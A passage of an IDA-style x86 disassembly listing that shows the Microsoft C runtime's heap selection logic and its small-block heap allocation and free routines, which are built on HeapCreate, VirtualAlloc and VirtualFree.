sub_4115BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4115D5	proc near		; CODE XREF: sub_411602+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	dword_41A0A4	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_411600
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_411600
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_411600:				; CODE XREF: sub_4115D5+15j
					; sub_4115D5+1Cj
		pop	esi
		retn
sub_4115D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411602	proc near		; CODE XREF: sub_41174A+20p

var_122C	= byte ptr -122Ch
var_19C		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_40EC80
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	dword_41A0D4	; GetVersionExA
		test	eax, eax
		jz	short loc_411645
		cmp	[ebp+var_88], 2
		jnz	short loc_411645
		cmp	[ebp+var_94], 5
		jb	short loc_411645
		push	1
		pop	eax
		jmp	loc_411747
; ---------------------------------------------------------------------------


loc_411645:				; CODE XREF: sub_411602+27j
					; sub_411602+30j ...
		lea	eax, [ebp+var_122C]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	dword_41A140	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_411734
		xor	ebx, ebx
		lea	ecx, [ebp+var_122C]
		cmp	[ebp+var_122C],	bl
		jz	short loc_411687


loc_411674:				; CODE XREF: sub_411602+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_411682
		cmp	al, 7Ah
		jg	short loc_411682
		sub	al, 20h
		mov	[ecx], al


loc_411682:				; CODE XREF: sub_411602+76j
					; sub_411602+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_411674


loc_411687:				; CODE XREF: sub_411602+70j
		lea	eax, [ebp+var_122C]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_4105A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4116A9
		lea	eax, [ebp+var_122C]
		jmp	short loc_4116F2
; ---------------------------------------------------------------------------


loc_4116A9:				; CODE XREF: sub_411602+9Dj
		lea	eax, [ebp+var_19C]
		push	104h
		push	eax
		push	ebx
		call	dword_41A078	; GetModuleFileNameA
		cmp	[ebp+var_19C], bl
		lea	ecx, [ebp+var_19C]
		jz	short loc_4116DD


loc_4116CA:				; CODE XREF: sub_411602+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_4116D8
		cmp	al, 7Ah
		jg	short loc_4116D8
		sub	al, 20h
		mov	[ecx], al


loc_4116D8:				; CODE XREF: sub_411602+CCj
					; sub_411602+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_4116CA


loc_4116DD:				; CODE XREF: sub_411602+C6j
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_122C]
		push	eax
		call	sub_4102A0
		pop	ecx
		pop	ecx


loc_4116F2:				; CODE XREF: sub_411602+A5j
		cmp	eax, ebx
		jz	short loc_411734
		push	2Ch
		push	eax
		call	sub_410AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_411734
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_411719


loc_41170B:				; CODE XREF: sub_411602+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_411714
		mov	[ecx], bl
		jmp	short loc_411715
; ---------------------------------------------------------------------------


loc_411714:				; CODE XREF: sub_411602+10Cj
		inc	ecx


loc_411715:				; CODE XREF: sub_411602+110j
		cmp	[ecx], bl
		jnz	short loc_41170B


loc_411719:				; CODE XREF: sub_411602+107j
		push	0Ah
		push	ebx
		push	eax
		call	sub_40F8A5
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_411747
		cmp	eax, 3
		jz	short loc_411747
		cmp	eax, 1
		jz	short loc_411747


loc_411734:				; CODE XREF: sub_411602+5Cj
					; sub_411602+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_4115D5
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_411747:				; CODE XREF: sub_411602+3Ej
					; sub_411602+126j ...
		pop	ebx
		leave
		retn
sub_411602	endp


; =============== S U B	R O U T	I N E =======================================



sub_41174A	proc near		; CODE XREF: sub_410B5C+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_41A148	; HeapCreate
		test	eax, eax
		mov	dword_4BB8E0, eax
		jz	short loc_4117A0
		call	sub_411602
		cmp	eax, 3
		mov	dword_4BB8E4, eax
		jnz	short loc_411786
		push	3F8h
		call	sub_4117A7
		pop	ecx
		jmp	short loc_411790
; ---------------------------------------------------------------------------


loc_411786:				; CODE XREF: sub_41174A+2Dj
		cmp	eax, 2
		jnz	short loc_4117A3
		call	sub_4122EE


loc_411790:				; CODE XREF: sub_41174A+3Aj
		test	eax, eax
		jnz	short loc_4117A3
		push	dword_4BB8E0
		call	dword_41A144	; HeapDestroy


loc_4117A0:				; CODE XREF: sub_41174A+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4117A3:				; CODE XREF: sub_41174A+3Fj
					; sub_41174A+48j
		push	1
		pop	eax
		retn
sub_41174A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4117A7	proc near		; CODE XREF: sub_41174A+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_4BB8E0
		call	dword_41A120	; RtlAllocateHeap
		test	eax, eax
		mov	dword_4BB8D8, eax
		jnz	short loc_4117C4
		retn
; ---------------------------------------------------------------------------


loc_4117C4:				; CODE XREF: sub_4117A7+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_4BB8D0, 0
		and	dword_4BB8D4, 0
		push	1
		mov	dword_4BB8CC, eax
		mov	dword_4BB8DC, ecx
		mov	dword_4BB8C4, 10h
		pop	eax
		retn
sub_4117A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4117EF	proc near		; CODE XREF: sub_40ECAF+17p
					; sub_414008+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4BB8D4
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4BB8D8
		lea	ecx, [eax+ecx*4]


loc_4117FF:				; CODE XREF: sub_4117EF+26j
		cmp	eax, ecx
		jnb	short loc_411817
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_411819
		add	eax, 14h
		jmp	short loc_4117FF
; ---------------------------------------------------------------------------


loc_411817:				; CODE XREF: sub_4117EF+12j
		xor	eax, eax

locret_411819:				; CODE XREF: sub_4117EF+21j
		retn
sub_4117EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41181A	proc near		; CODE XREF: sub_40ECAF+23p
					; sub_414008+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_411B3E
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_4118F0
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41187E
		push	3Fh
		pop	edx


loc_41187E:				; CODE XREF: sub_41181A+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_4118D2
		cmp	edx, 20h
		jnb	short loc_4118A9
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4118CA
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4118CA
; ---------------------------------------------------------------------------


loc_4118A9:				; CODE XREF: sub_41181A+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4118CA
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4118CA:				; CODE XREF: sub_41181A+86j
					; sub_41181A+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_4118D5
; ---------------------------------------------------------------------------


loc_4118D2:				; CODE XREF: sub_41181A+6Aj
		mov	ecx, [ebp+var_4]


loc_4118D5:				; CODE XREF: sub_41181A+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_4118F0:				; CODE XREF: sub_41181A+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_4118FE
		push	3Fh
		pop	edx


loc_4118FE:				; CODE XREF: sub_41181A+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_4119A1
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_411923
		mov	ebx, esi


loc_411923:				; CODE XREF: sub_41181A+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_411935
		mov	edx, esi


loc_411935:				; CODE XREF: sub_41181A+117j
		cmp	ebx, edx
		jz	short loc_41199C
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_411984
		cmp	ebx, 20h
		jnb	short loc_411965
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_411984
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_411984
; ---------------------------------------------------------------------------


loc_411965:				; CODE XREF: sub_41181A+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_411984
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_411984:				; CODE XREF: sub_41181A+128j
					; sub_41181A+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41199C:				; CODE XREF: sub_41181A+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_4119A4
; ---------------------------------------------------------------------------


loc_4119A1:				; CODE XREF: sub_41181A+EDj
		mov	ebx, [ebp+arg_0]


loc_4119A4:				; CODE XREF: sub_41181A+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_4119B2
		cmp	ebx, edx
		jz	loc_411A33


loc_4119B2:				; CODE XREF: sub_41181A+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_411A33
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_411A0A
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4119F9
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_4119F9:				; CODE XREF: sub_41181A+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_411A33
; ---------------------------------------------------------------------------


loc_411A0A:				; CODE XREF: sub_41181A+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_411A20
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_411A20:				; CODE XREF: sub_41181A+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_411A33:				; CODE XREF: sub_41181A+192j
					; sub_41181A+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_411B3E
		mov	eax, dword_4BB8D0
		test	eax, eax
		jz	loc_411B30
		mov	ecx, dword_4BB8C8
		mov	esi, dword_41A14C
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_4BB8C8
		mov	eax, dword_4BB8D0
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4BB8D0
		mov	ecx, dword_4BB8C8
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4BB8D0
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4BB8D0
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_411AC1
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4BB8D0


loc_411AC1:				; CODE XREF: sub_41181A+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_411B30
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_4BB8D0
		push	dword ptr [eax+10h]
		push	0
		push	dword_4BB8E0
		call	dword_41A124	; RtlFreeHeap
		mov	eax, dword_4BB8D4
		mov	edx, dword_4BB8D8
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4BB8D0
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_40F480
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4BB8D4
		cmp	eax, dword_4BB8D0
		jbe	short loc_411B26
		sub	[ebp+arg_0], 14h


loc_411B26:				; CODE XREF: sub_41181A+306j
		mov	eax, dword_4BB8D8
		mov	dword_4BB8CC, eax


loc_411B30:				; CODE XREF: sub_41181A+234j
					; sub_41181A+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4BB8C8, edi
		mov	dword_4BB8D0, eax


loc_411B3E:				; CODE XREF: sub_41181A+38j
					; sub_41181A+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41181A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411B43	proc near		; CODE XREF: sub_40E8C0+18p
					; sub_414008+77p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4BB8D4
		mov	edx, dword_4BB8D8
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_411B83
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_411B93
; ---------------------------------------------------------------------------


loc_411B83:				; CODE XREF: sub_411B43+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_411B93:				; CODE XREF: sub_411B43+3Ej
		mov	eax, dword_4BB8CC
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_411BBA


loc_411BA1:				; CODE XREF: sub_411B43+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_411BBA
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_411BA1


loc_411BBA:				; CODE XREF: sub_411B43+5Cj
					; sub_411B43+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_411C38
		mov	ebx, edx


loc_411BC1:				; CODE XREF: sub_411B43+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_411BDD
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_411BDB
		add	ebx, 14h
		jmp	short loc_411BC1
; ---------------------------------------------------------------------------


loc_411BDB:				; CODE XREF: sub_411B43+91j
		cmp	ebx, eax


loc_411BDD:				; CODE XREF: sub_411B43+83j
		jnz	short loc_411C38


loc_411BDF:				; CODE XREF: sub_411B43+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_411BF5
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_411BF2
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_411BDF
; ---------------------------------------------------------------------------


loc_411BF2:				; CODE XREF: sub_411B43+A5j
		cmp	ebx, [ebp+var_4]


loc_411BF5:				; CODE XREF: sub_411B43+9Fj
		jnz	short loc_411C1D
		mov	ebx, edx


loc_411BF9:				; CODE XREF: sub_411B43+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_411C0D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_411C0B
		add	ebx, 14h
		jmp	short loc_411BF9
; ---------------------------------------------------------------------------


loc_411C0B:				; CODE XREF: sub_411B43+C1j
		cmp	ebx, eax


loc_411C0D:				; CODE XREF: sub_411B43+BBj
		jnz	short loc_411C1D
		call	sub_411E4C
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_411C31


loc_411C1D:				; CODE XREF: sub_411B43:loc_411BF5j
					; sub_411B43:loc_411C0Dj
		push	ebx
		call	sub_411EFD
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_411C38


loc_411C31:				; CODE XREF: sub_411B43+D8j
		xor	eax, eax
		jmp	loc_411E47
; ---------------------------------------------------------------------------


loc_411C38:				; CODE XREF: sub_411B43+7Aj
					; sub_411B43:loc_411BDDj ...
		mov	dword_4BB8CC, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_411C5F
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_411C96


loc_411C5F:				; CODE XREF: sub_411B43+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_411C93


loc_411C7C:				; CODE XREF: sub_411B43+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_411C7C


loc_411C93:				; CODE XREF: sub_411B43+137j
		mov	edx, [ebp+var_4]


loc_411C96:				; CODE XREF: sub_411B43+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_411CBF
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_411CBF:				; CODE XREF: sub_411B43+16Dj
					; sub_411B43+183j
		test	ecx, ecx
		jl	short loc_411CC8
		shl	ecx, 1
		inc	edi
		jmp	short loc_411CBF
; ---------------------------------------------------------------------------


loc_411CC8:				; CODE XREF: sub_411B43+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_411CE5
		push	3Fh
		pop	esi


loc_411CE5:				; CODE XREF: sub_411B43+19Dj
		cmp	esi, edi
		jz	loc_411DFA
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_411D56
		cmp	edi, 20h
		jge	short loc_411D25
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_411D53
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_411D56
; ---------------------------------------------------------------------------


loc_411D25:				; CODE XREF: sub_411B43+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_411D53
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_411D56
; ---------------------------------------------------------------------------


loc_411D53:				; CODE XREF: sub_411B43+1D6j
					; sub_411B43+203j
		mov	ebx, [ebp+arg_0]


loc_411D56:				; CODE XREF: sub_411B43+1B0j
					; sub_411B43+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_411E06
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_411DF7
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_411DC8
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_411DB6
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_411DB6:				; CODE XREF: sub_411B43+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_411DF7
; ---------------------------------------------------------------------------


loc_411DC8:				; CODE XREF: sub_411B43+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_411DE1
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_411DE1:				; CODE XREF: sub_411B43+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_411DF7:				; CODE XREF: sub_411B43+24Ej
					; sub_411B43+283j
		mov	ecx, [ebp+var_8]


loc_411DFA:				; CODE XREF: sub_411B43+1A4j
		test	ecx, ecx
		jz	short loc_411E09
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_411E09
; ---------------------------------------------------------------------------


loc_411E06:				; CODE XREF: sub_411B43+229j
		mov	ecx, [ebp+var_8]


loc_411E09:				; CODE XREF: sub_411B43+2B9j
					; sub_411B43+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_411E3F
		cmp	ebx, dword_4BB8D0
		jnz	short loc_411E3F
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4BB8C8
		jnz	short loc_411E3F
		and	dword_4BB8D0, 0


loc_411E3F:				; CODE XREF: sub_411B43+2E0j
					; sub_411B43+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_411E47:				; CODE XREF: sub_411B43+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411B43	endp


; =============== S U B	R O U T	I N E =======================================



sub_411E4C	proc near		; CODE XREF: sub_411B43+CCp
		mov	eax, dword_4BB8D4
		mov	ecx, dword_4BB8C4
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_411E8F
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4BB8D8
		push	edi
		push	dword_4BB8E0
		call	dword_41A154	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_411EDF
		add	dword_4BB8C4, 10h
		mov	dword_4BB8D8, eax
		mov	eax, dword_4BB8D4


loc_411E8F:				; CODE XREF: sub_411E4C+11j
		mov	ecx, dword_4BB8D8
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4BB8E0
		lea	esi, [ecx+eax*4]
		call	dword_41A120	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_411EDF
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_41A150	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_411EE3
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4BB8E0
		call	dword_41A124	; RtlFreeHeap


loc_411EDF:				; CODE XREF: sub_411E4C+30j
					; sub_411E4C+67j
		xor	eax, eax
		jmp	short loc_411EFA
; ---------------------------------------------------------------------------


loc_411EE3:				; CODE XREF: sub_411E4C+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4BB8D4
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_411EFA:				; CODE XREF: sub_411E4C+95j
		pop	edi
		pop	esi
		retn
sub_411E4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411EFD	proc near		; CODE XREF: sub_411B43+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_411F0F:				; CODE XREF: sub_411EFD+19j
		test	eax, eax
		jl	short loc_411F18
		shl	eax, 1
		inc	ebx
		jmp	short loc_411F0F
; ---------------------------------------------------------------------------


loc_411F18:				; CODE XREF: sub_411EFD+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_411F2D:				; CODE XREF: sub_411EFD+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
